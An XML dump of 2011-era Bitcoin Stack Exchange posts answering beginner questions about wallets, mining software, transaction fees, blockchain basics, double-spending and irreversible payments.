  <row Id="171" PostTypeId="2" ParentId="151" CreationDate="2011-08-31T00:10:00.027" Score="6" Body="&lt;p&gt;There are a lot of online services where you can keep your bitcoins. You just need to choose what is more convenient for you, depending on what features do you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade#Currency_exchanges&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Exchanges&lt;/a&gt; can hold bitcoins and some of them allow you to instantaneously transfer bitcoins between users, which can be a big plus if you want to accept payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other popular ewallets include &lt;a href=&quot;https://www.instawallet.org&quot; rel=&quot;nofollow&quot;&gt;instawallet&lt;/a&gt;, &lt;a href=&quot;https://walletbit.com/&quot; rel=&quot;nofollow&quot;&gt;walletbit&lt;/a&gt; and &lt;a href=&quot;http://www.flexcoin.com/&quot; rel=&quot;nofollow&quot;&gt;flexcoin&lt;/a&gt;. Flexcoin acts more like a real bank because it pays &quot;discounts&quot; (interest) to users. &lt;a href=&quot;http://www.tradehill.com&quot; rel=&quot;nofollow&quot;&gt;Tradehill&lt;/a&gt; is also preparing an ewallet at &lt;a href=&quot;http://www.bitcoin.com&quot; rel=&quot;nofollow&quot;&gt;bitcoin.com&lt;/a&gt;.  &lt;a href=&quot;http://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; offers an ewallet with the unusual feature that they don't have access to your private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for security, it is hard to know what is going on from the outside. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34011.0&quot; rel=&quot;nofollow&quot;&gt;Some exchanges&lt;/a&gt; keep part of their coins offline, which is good. Flexcoin is also planning to introduce a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=38175.0&quot; rel=&quot;nofollow&quot;&gt;cold storage feature&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New services appear every day, so it is hard to point out a single big &quot;bitcoin bank&quot; right now. Check a few and choose one that suits your needs.     &lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="659" LastEditDate="2012-02-12T23:53:47.130" LastActivityDate="2012-02-12T23:53:47.130" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="172" PostTypeId="1" AcceptedAnswerId="174" CreationDate="2011-08-31T00:10:28.163" Score="10" ViewCount="1752" Body="&lt;p&gt;I recently switched from WinXP32bit to Windows7. While under XP poclbm took about 5% CPU Time of one core, now it uses one core with 100%. Is there a specific reason for that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now use AMD/ATI OpenCL1.1 and poclbm with &lt;code&gt;poclbm.exe -device=0 -v -w128 -f 60&lt;/code&gt;. MHash/s is about the same I had with XP.&lt;/p&gt;&#xA;" OwnerUserId="91" LastEditorUserId="5406" LastEditDate="2016-01-21T15:27:00.610" LastActivityDate="2016-01-21T15:27:00.610" Title="Why does poclbm acquire 100% CPU?" Tags="|windows|poclbm|gpu-mining|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="173" PostTypeId="2" ParentId="168" CreationDate="2011-08-31T00:12:06.400" Score="6" Body="&lt;p&gt;The Bitcoin &amp;quot;blockchain&amp;quot; is in effect the general ledger of Bitcoin. It is a recording of all transactions grouped into blocks. Each block represents approximately 10 minutes of transactions, and chaining them together has the effect of adding layer upon layer of transaction history.&lt;/p&gt;&#xA;&lt;p&gt;Chaining blocks of transactions together by requiring a new block to reference the most recent prior block makes it harder to alter blocks in the past, since all subsequent blocks up to the current one would also have to be altered. In the Bitcoin blockchain, this is combined with a 'proof of work' that each block must include (a very large amount of work at this point), to create an unalterable history of transactions that is definitive.&lt;/p&gt;&#xA;&lt;p&gt;New transactions can be evaluated against this general ledger with complete confidence that it is current, complete, and unalterable. With the entire blockchain publicly available, anyone can do this evaluation and prove that a transaction is valid or not.&lt;/p&gt;&#xA;&lt;p&gt;It is likely that someone referring to &amp;quot;blockchain technology&amp;quot; is talking about any system that has this type of public general ledger.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="4774" LastEditDate="2023-10-26T22:01:58.503" LastActivityDate="2023-10-26T22:01:58.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="174" PostTypeId="2" ParentId="172" CreationDate="2011-08-31T00:13:06.380" Score="5" Body="&lt;p&gt;This is a common problem whose cause is not well known. You can try switching miners, switching flags, or switching OpenCL versions. Usually you can find a combination that resolves the problem. I've seen this question asked several times and I've not yet seen a solid answer.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-08-31T00:45:01.990" LastActivityDate="2011-08-31T00:45:01.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="175" PostTypeId="1" AcceptedAnswerId="2192" CreationDate="2011-08-31T00:20:39.033" Score="21" ViewCount="2678" Body="&lt;p&gt;I'd like to make small payments for business purposes through Bitcoin, so would like to know what the easiest method of getting setup to accept a Bitcoin payment is for a regular person, so that I can recommend it to those I want to pay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some options I see are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Standard Bitcoin client&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;BitcoinJ&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Instawallet&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Flexcoin&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These people will only be holding a few Bitcoin at most in their wallet, so security is not as high a priority as in other cases, but I would still like to avoid a Mybitcoin type fiasco where every one I pay loses their money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which method has the best combination of convenience in getting setup and security?&lt;/p&gt;&#xA;" OwnerUserId="7" LastEditorUserId="5406" LastEditDate="2017-07-02T14:13:05.400" LastActivityDate="2021-04-29T14:56:00.813" Title="What wallet / e-wallet is the most convenient for new casual Bitcoin users?" Tags="|client|wallet|e-wallet|" AnswerCount="8" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="176" PostTypeId="1" AcceptedAnswerId="88649" CreationDate="2011-08-31T00:20:51.563" Score="21" ViewCount="3869" Body="&lt;p&gt;Where can I find a list of people that can commit directly to the &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot;&gt;github project&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="47827" LastEditDate="2020-10-27T17:44:00.663" LastActivityDate="2022-07-07T20:04:19.033" Title="Is there a list of core Bitcoin committers?" Tags="|bitcoin-core-development|governance|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="177" PostTypeId="1" AcceptedAnswerId="190" CreationDate="2011-08-31T00:29:15.387" Score="7" ViewCount="333" Body="&lt;p&gt;Is there a minimum transaction fee for every transaction? When do I pay a fee over the minimal fee?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-10-04T23:12:40.620" LastActivityDate="2011-10-04T23:12:40.620" Title="How did transaction fees work in the version 0.3.24?" Tags="|transactions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="178" PostTypeId="5" CreationDate="2011-08-31T00:30:07.693" Score="0" Body="&lt;p&gt;This tag is &lt;strong&gt;deprecated&lt;/strong&gt;, as it is in the process of being split up into a number of existing and new tags. Please refrain from adding &lt;a href=&quot;/questions/tagged/mining&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;mining&amp;#39;&quot; rel=&quot;tag&quot;&gt;mining&lt;/a&gt; to new questions. Instead, please consider adding e.g. &lt;a href=&quot;/questions/tagged/miner-configuration&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;miner-configuration&amp;#39;&quot; rel=&quot;tag&quot;&gt;miner-configuration&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/mining-hardware&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;mining-hardware&amp;#39;&quot; rel=&quot;tag&quot;&gt;mining-hardware&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/mining-pools&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;mining-pools&amp;#39;&quot; rel=&quot;tag&quot;&gt;mining-pools&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/mining-profitability&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;mining-profitability&amp;#39;&quot; rel=&quot;tag&quot;&gt;mining-profitability&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/mining-theory&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;mining-theory&amp;#39;&quot; rel=&quot;tag&quot;&gt;mining-theory&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/proof-of-work&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;proof-of-work&amp;#39;&quot; rel=&quot;tag&quot;&gt;proof-of-work&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/cpu-mining&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;cpu-mining&amp;#39;&quot; rel=&quot;tag&quot;&gt;cpu-mining&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/selfish-mining&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;selfish-mining&amp;#39;&quot; rel=&quot;tag&quot;&gt;selfish-mining&lt;/a&gt;, and &lt;a href=&quot;/questions/tagged/mining-software&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;mining-software&amp;#39;&quot; rel=&quot;tag&quot;&gt;mining-software&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;When Bitcoin transactions occur, they enter a sort of &quot;queued&quot; status and await encoding in the next &quot;block&quot; of the block chain. Mining is the process of compiling waiting transactions into a block and submitting that block to the network for approval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network maintains an arbitrary difficulty factor which is used to validate blocks and to dynamically change the speed at which block generation takes place. Since a block is meant to be generated every ten minutes (for Bitcoin), the difficulty factor allows the network to slow miners down when they are working too fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To learn more about mining, visit the &lt;a href=&quot;https://en.bitcoin.it/wiki/Category:Mining&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2016-01-27T16:33:24.417" LastActivityDate="2016-01-27T16:33:24.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="179" PostTypeId="4" CreationDate="2011-08-31T00:30:07.693" Score="0" Body="The tag is being replaced. PLEASE DON'T USE THIS TAG ANYMORE. Mining is the process of securing transactions and committing them into the Bitcoin public chain." OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-03-10T15:10:13.267" LastActivityDate="2016-03-10T15:10:13.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="180" PostTypeId="1" AcceptedAnswerId="200" CreationDate="2011-08-31T00:33:39.000" Score="18" ViewCount="760" Body="&lt;p&gt;Apart from the official client found at the &lt;a href=&quot;http://www.bitcoin.org/&quot;&gt;bitcoin.org&lt;/a&gt; site what is the list of alternative bitcoin clients? And what OS do they work on?&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2012-02-23T15:23:58.457" Title="Apart from the official bitcoin client what other clients are there?" Tags="|client|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="181" PostTypeId="1" AcceptedAnswerId="188" CreationDate="2011-08-31T00:33:41.057" Score="57" ViewCount="53889" Body="&lt;p&gt;Traditional currencies have anti-counterfeiting features designed to make them hard to copy, but despite this attempt counterfeit money is a real threat.  Since bitcoins are digital, it's trivial to copy them.  Does this mean that bitcoins can be counterfeited?&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="81" LastEditDate="2011-08-31T17:41:33.920" LastActivityDate="2017-08-22T17:27:56.440" Title="Can bitcoins be counterfeited?" Tags="|security|doublespend|" AnswerCount="7" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="182" PostTypeId="1" AcceptedAnswerId="185" CreationDate="2011-08-31T00:38:11.893" Score="67" ViewCount="93330" Body="&lt;p&gt;Where do bitcoins come from?  From the &lt;a href=&quot;http://www.weusecoins.com/&quot;&gt;WeUseCoins.com&lt;/a&gt; video it appears they are just being produced by &quot;miners&quot; and sold to people.  So who backs Bitcoin or gives it its value?&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="5406" LastEditDate="2020-04-23T23:32:16.870" LastActivityDate="2020-04-23T23:32:16.870" Title="Where do bitcoins come from and what gives them their value?" Tags="|mining-theory|mining-reward|economic-theory|value|key-selling-points|" AnswerCount="9" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="183" PostTypeId="2" ParentId="175" CreationDate="2011-08-31T00:39:22.660" Score="8" Body="&lt;p&gt;The only true way to use bitcoin is of course to use the bitcoin client. It is a little difficult to use perhaps, but I would argue that's just about the same difficulty as online services at the moment.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said you may consider using an established exchange like mtgox. The identities of the people involved are known (unlike mybitcoin), and many security issues have already come up and been addressed.  Also they provide merchant services to make transactions easier on the go.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also very easy to quickly convert your bitcoins to cash, and get paid out whenever you want.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="99" LastEditDate="2011-08-31T19:29:52.423" LastActivityDate="2011-08-31T19:29:52.423" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="184" PostTypeId="2" ParentId="182" CreationDate="2011-08-31T00:42:12.510" Score="10" Body="&lt;p&gt;The value comes from their scarcity. To use something as a medium of exchange, it only has to have a certain set of properties. Bitcoins have these properties, so they can be used as a medium of exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are fungible. That is, 10 bitcoins is 10 bitcoins. This makes Bitcoins more useful as a medium of exchange than, say, apples, which vary widely in quality, size, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are scarce. The number of bitcoins is predictable over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are easily transferred. They are not easily counterfeited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's pretty much all you need. Nothing needs to back them just like nothing backs gold. The primary purpose of a backing is to ensure scarcity. But the block generation algorithm does that for Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-08-31T00:42:12.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="185" PostTypeId="2" ParentId="182" CreationDate="2011-08-31T00:42:21.683" Score="42" Body="&lt;p&gt;Although individual bitcoins enter the Bitcoin economy as &lt;a href=&quot;https://en.bitcoin.it/wiki/Category:Mining&quot; rel=&quot;noreferrer&quot;&gt;miners&lt;/a&gt; are rewarded for processing transactions, it's much more helpful to think of all 21 million bitcoins as having been created when &lt;a href=&quot;https://en.bitcoin.it/wiki/Satoshi_Nakamoto&quot; rel=&quot;noreferrer&quot;&gt;Satoshi Nakamoto&lt;/a&gt; defined the Bitcoin protocol and launched the Bitcoin network in 2009.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that the Bitcoin protocol specifically defines and controls when and how a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/161/how-many-bitcoins-will-there-eventually-be&quot;&gt;limited total number of coins&lt;/a&gt; are rewarded to miners for the job of securing the Bitcoin network.  These &quot;bitcoins&quot; are really just mathematical tokens which are very carefully controlled by the network protocol to prevent counterfeiting, theft, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By agreeing to use these mathematical tokens as money, the larger Bitcoin community is essentially &quot;backing&quot; their value and turning them into a currency in the same way traditional African and Asian societies used the money cowry despite the absence of any central bank.  Unlike the money cowry:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;there will never be more bitcoins&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/181/can-bitcoins-be-counterfeited&quot;&gt;they are impossible to counterfeit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/66/will-deflation-destroy-bitcoin&quot;&gt;they can be divided into as small of pieces as you want&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;and they can be transferred instantly across great distances via a digital&#xA;connection such as the internet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Presumably, the members of the Bitcoin community who choose to accept them as money consider these features to be worth something, and value the bitcoin accordingly based on supply and demand on &lt;a href=&quot;http://bitcoincharts.com/markets/&quot; rel=&quot;noreferrer&quot;&gt;open currency exchanges&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because bitcoins are given their value by the community, they don't need to be accepted by anyone else or backed by any authority to succeed.  They are like a local currency except much, much more effective and local to the whole world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to sum up, &lt;strong&gt;bitcoins come from the Bitcoin community's agreement to follow a set protocol, and are backed by everyone who uses them as money.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-07-19T05:10:02.237" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="186" PostTypeId="2" ParentId="181" CreationDate="2011-08-31T00:43:58.997" Score="7" Body="&lt;p&gt;A Bitcoin must, by definition, be an entry in a valid Bitcoin public block chain. The block chain rules allow each Bitcoin to be present only once in a block chain, or else that block chain is not valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of the Bitcoin block chain like a ledger listing every Bitcoin's origin and present location. If you make a copy of the same Bitcoin, the ledger isn't valid. Invalid ledgers are ignored by all Bitcoin users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you copied a Bitcoin, you could show one copy to each of two users. But then they'd just both know you have a Bitcoin, which is true, so no harm done. You can't show both Bitcoins to the same person, because it would be obvious they are identical. And you can't transfer one of them to Fred and one of them to Abel, because there's only one public blockchain for transfers and the same Bitcoin may not appear in it twice (other than once as an output and once as an input).&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-08-31T10:34:39.337" LastActivityDate="2011-08-31T10:34:39.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="187" PostTypeId="2" ParentId="182" CreationDate="2011-08-31T00:44:00.407" Score="5" Body="&lt;p&gt;Bitcoins are just ledger entries. Like all modern currencies they are not backed by anything, but have value based only on their usefulness and their supply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addition of bitcoins into the money supply is controlled by the bitcoin software and is limited to a pre determined amount and rate of distribution.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason mining causes new bitcoins to be created is two-fold.  On the one hand it's a mechanism to introduce bitcoins into the money supply that is controllable and essentially random (like winning little lotteries).  On the other hand it motivates people to run the mining software which helps to secure the entire system.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="99" LastEditDate="2011-09-01T14:01:18.183" LastActivityDate="2011-09-01T14:01:18.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="188" PostTypeId="2" ParentId="181" CreationDate="2011-08-31T00:46:00.243" Score="35" Body="&lt;p&gt;There is no such thing as a &quot;bitcoin&quot; that can be copied. Rather, there is a list of all the transactions that have taken place on the bitcoin network and the order they have taken place. Every client has a copy of this list. Essentially, the only way to counterfeit bitcoins would be to spend them in more than one place. This is called a double-spend attack. However, because of the design of the bitcoin block chain (the list of all the transactions) and the way that list is secured by mining, this requires a tremendous amount of computer power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/How_bitcoin_works#Double_spending&quot; rel=&quot;noreferrer&quot;&gt;http://en.bitcoin.it/wiki/How_bitcoin_works#Double_spending&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also the question about how mining works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/148/what-exactly-is-mining&quot;&gt;What exactly is Mining?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2011-08-31T00:46:00.243" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="189" PostTypeId="1" AcceptedAnswerId="387" CreationDate="2011-08-31T00:50:24.657" Score="23" ViewCount="3503" Body="&lt;p&gt;Is it possible to send and receive bitcoins with a mobile phone? If so, are there bitcoin clients for Android or iOS?&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="157" LastEditDate="2011-09-23T18:17:14.613" LastActivityDate="2021-08-22T13:12:51.027" Title="Can I send bitcoins with my mobile phone?" Tags="|transactions|client|mobile|android|ios|" AnswerCount="9" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="190" PostTypeId="2" ParentId="177" CreationDate="2011-08-31T00:52:37.253" Score="9" Body="&lt;p&gt;The minimum transaction fee is zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction fees are enforced in two places. First, a client can be configured not to accept or relay a transaction that doesn't include a sufficient fee. Second, a miner can choose which transactions to include in any blocks they mine and will typically try to include transactions with the highest fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most normal transactions will have a required fee of zero. The three most common exceptions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If a transaction uses coins that were very recently received, a fee of .005 bitcoins may be imposed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If a transaction &quot;gathers&quot; bitcoins from a large number of other transactions, a fee of about .0002 bitcoins per input source may be imposed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If a transaction &quot;spreads&quot; bitcoins to a large number of destinations, a fee of about .0002 bitcoins per output may be imposed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is because these types of transactions tend to look a lot like spam transactions used to maliciously load the network. Currently, there are still clients and miners that will accept any valid transaction regardless of the transaction fee. So if you're willing to go to the trouble, you can get any transaction into the public chain eventually with no fee. (Just manually configure your client to connect to them and be patient.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-08-31T00:52:37.253" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="191" PostTypeId="2" ParentId="123" CreationDate="2011-08-31T00:57:12.643" Score="14" Body="&lt;p&gt;GUIminer &lt;em&gt;can&lt;/em&gt; be run on linux, although the process (described &lt;a href=&quot;http://bitcointalk.org/?topic=3878.0&quot;&gt;in the official thread&lt;/a&gt;) is somewhat complicated.  To summarise that post, you will need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Get the source code from &lt;a href=&quot;https://github.com/Kiv/poclbm&quot;&gt;GitHub&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;git clone https://github.com/Kiv/poclbm&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Install OpenCL drivers and PyOpenCL.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install wxPython:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo apt-get install python-wxtools&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run guiminer.py:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;python guiminer.py&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that (at least to use the poclbm backend) no compiling is necessary since GUIminer is written in python.  But I can still understand if you find that process a little daunting, since I don't know your level of technological familiarity with these sorts of tasks.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorDisplayName="user1762" LastEditDate="2012-08-24T07:23:59.897" LastActivityDate="2012-08-24T07:23:59.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="192" PostTypeId="1" AcceptedAnswerId="205" CreationDate="2011-08-31T00:58:40.513" Score="10" ViewCount="1213" Body="&lt;p&gt;Is than an easy way to search the list of all bitcoin transactions? For example to find all the bitcoins sent to or from an address? &lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2011-08-31T05:27:57.957" Title="Is there an easy way to search all the transactions?" Tags="|transactions|privacy|blockchain|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="193" PostTypeId="1" AcceptedAnswerId="231" CreationDate="2011-08-31T00:59:39.843" Score="45" ViewCount="86876" Body="&lt;p&gt;How do I see the IP address that someone used to send or receive bitcoins with? Is it stored in the blockchain?&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2019-08-20T18:35:45.520" Title="How do I see the IP address of a bitcoin transaction?" Tags="|transactions|privacy|blockchain|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="194" PostTypeId="1" AcceptedAnswerId="198" CreationDate="2011-08-31T01:02:03.570" Score="42" ViewCount="40875" Body="&lt;p&gt;I sent bitcoins to an address, but I think I made a typo when I copied it. Where did these bitcoins go. Can I get them back?&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="5406" LastEditDate="2014-10-22T09:58:54.860" LastActivityDate="2019-01-26T22:17:24.427" Title="What happens if I mistype the address when making a payment?" Tags="|transactions|address|lost-bitcoins|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="195" PostTypeId="2" ParentId="193" CreationDate="2011-08-31T01:05:48.527" Score="19" Body="&lt;p&gt;&lt;strong&gt;The blockchain doesn't store IP addresses&lt;/strong&gt;.  In order to obtain the IP address of someone sending or receiving bitcoins, you would have either observe the activity of the network very carefully, or track them down by some other means.  Keep in mind that, for example, someone could receive bitcoins &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28/how-can-i-keep-my-wallet-secure&quot;&gt;without ever being connected to the internet&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2011-08-31T01:05:48.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="196" PostTypeId="2" ParentId="194" CreationDate="2011-08-31T01:07:54.060" Score="8" Body="&lt;p&gt;Bitcoin transactions are irreversible. If you were connected to the network when you made the transaction, your coins are lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you weren't connected to the network, you can restore your &lt;code&gt;wallet.dat&lt;/code&gt; and start bitcoin with the &lt;code&gt;--rescan&lt;/code&gt; option.  This will effectively undo the transaction (that hasn't been committed to the blockchain yet).&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="659" LastEditDate="2012-02-14T18:53:37.917" LastActivityDate="2012-02-14T18:53:37.917" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="197" PostTypeId="1" AcceptedAnswerId="201" CreationDate="2011-08-31T01:08:44.637" Score="16" ViewCount="46279" Body="&lt;p&gt;If I sent bitcoins to someone, but then want to cancel this transaction after it was already made (like a chargeback on a credit card), is this possible with Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2011-09-07T16:45:08.487" LastActivityDate="2018-01-15T22:13:25.410" Title="Can a bitcoin transaction be reversed?" Tags="|revert-transaction|chargeback|" AnswerCount="7" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="198" PostTypeId="2" ParentId="194" CreationDate="2011-08-31T01:10:06.473" Score="47" Body="&lt;p&gt;Bitcoin is very resistant to typos because the addresses contain a &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;noreferrer&quot;&gt;built-in check code&lt;/a&gt;.  So if you had simply mistyped a few of the letters or numbers in the address, it's unlikely the client would have let you send them.  If, however, you pasted in a different and valid address, the coins are already transferred to it permanently.  In this scenario, &lt;strong&gt;Bitcoin works pretty much like cash&lt;/strong&gt;--there is no way to get it back after giving it away.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="18196" LastEditDate="2015-03-18T12:28:57.453" LastActivityDate="2015-03-18T12:28:57.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
